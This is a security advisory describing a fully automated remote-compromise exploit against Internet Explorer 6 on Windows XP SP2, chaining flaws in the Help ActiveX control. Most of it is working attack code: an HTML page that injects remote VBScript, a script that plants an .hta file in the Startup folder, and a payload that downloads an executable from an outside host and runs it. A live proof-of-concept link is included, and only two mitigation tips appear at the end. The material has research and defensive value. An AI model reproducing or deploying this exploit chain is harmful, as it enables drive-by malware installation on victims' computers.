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Microsoft Internet Explorer XP SP2 Fully Automated Remote Compromise
------------------------------------------------------------------------
SUMMARY
Although hundreds of millions of dollars have been spent on securing SP2,
perfection is impossible. Through the joint effort of
<http://www.michaelevanchik.com> Michael Evanchik and Paul from
<http://greyhats.cjb.net> Greyhats Security, a very critical vulnerability
has been developed that can compromise a user's system without the need
for user interaction besides visiting the malicious page. The
vulnerability is not actually a vulnerability in itself, but rather it is
uses multiple known holes in SP2 including Help ActiveX Control Related
Topics Zone Security Bypass Vulnerability and Help ActiveX Control Related
Topics Cross Site Scripting Vulnerability.
DETAILS
Vulnerable Systems:
* Microsoft Internet Explorer 6.0
* Microsoft Windows XP Pro SP2
* Microsoft Windows XP Home SP2
Technical details and Explanation
1. Create a web page with the following code:
sp2rc.htm:
< OBJECT id="localpage" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
< PARAM name="Command" value="Related Topics, MENU">
< PARAM name="Button" value="Text:Just a button">
< PARAM name="Window" value="$global_blank">
< PARAM name="Item1"
value="command;file://C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm">
< OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
< PARAM name="Command" value="Related Topics, MENU">
< PARAM name="Button" value="Text:Just a button">
< PARAM name="Window" value="$global_blank">
< PARAM name="Item1"
value='command;javascript:execScript("document.write(\"<script
language=\\\"vbscript\\\"
src=\\\"http://freehost07.websamba.com/greyhats/writehta.txt\\\"\"; +
String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
< script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
Explanation of above code:
The first object (id: localpage) tells hhctrl.ocx to open a help popup
window to the location
C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm. This file was chosen
because it is treated as the local zone and it doesn't have any script to
mess us up. On some computers an error is shown before the popup. This is
the user's only chance to prevent the vulnerability from working. If the
user were to force his computer to shut down at this point, the user would
be unaffected by the exploit.
The second object (id: inject) tells the help popup to navigate to a
JavaScript protocol, which executes. Thus, cross site scripting has just
taken place. A script tag that uses a remote file is written to the page,
and writehta.txt (below) is executed in the unsecured local zone.
In the script, HHClick is able to be used to automate the vulnerability.
This is more effective than the previously described method of requiring a
user to click on a button.
2. Writehta.txt uses adodb recordset to write Microsoft Office.hta to the
user's startup folder. See Michael Evanchik's analysis of the drag and
drop vulnerability for an explanation on adodb recordset.
writehta.txt
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://www.malware.com;"; & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
rs.close
conn.close
window.close
3. f00bar.txt (thanks malware for hosting this file) is the file requested
by the adodb recordset (again, read the drag and drop analysis at
www.michaelevanchik.com for an explanation on how this works and why the
the f00bar.txt looks like it does). Because there is absolutely no limit
on what you can do in an hta file, an old, yet effective method of
requesting and saving a file to the user's hd is used. From that, a
wscript shell is created and used to run the program. And now, ladies and
gentlemen, we have compromised the user's machine.
f00bar.txt
---------------------------------------------------------------------
"meaning less shit i had to put here"
"< script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open
""GET"",""http://freehost07.websamba.com/greyhats/malware.exe"",False :
crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\malware.exe"",2 : crap="""
""" : Set ws = CreateObject(""WScript.Shell"") : crap="""
""" : ws.Run ""C:\malware.exe"", 3, FALSE : crap="""
"""</script> crap="""
4. Upload hhtctrl.ocx for the computers that don t happen to have this
control. All XP's seem to have this by default, some win2k3's do not
(according to Michael Evanchik)
Proof of Concept:
See a proff of concept of the above code at:
<http://freehost07.websamba.com/greyhats/sp2rc.htm>
http://freehost07.websamba.com/greyhats/sp2rc.htm
* If an error is shown, press OK. This is normal.
* Notice in your startup menu a new file called Microsoft Office.hta.
When run, this file will download and launch a harmless executable (which
includes a pretty neat fire animation)
User Recommendations:
* Disable HTA files
* Disable Active Scripting in Internet Explorer
ADDITIONAL INFORMATION
The information has been provided by <mailto:paul@greyhats.cjb.net> Paul.
The original article can be found at:
<http://www.greyhatsecurity.org/sp2rc-analysis.htm>
http://www.greyhatsecurity.org/sp2rc-analysis.htm
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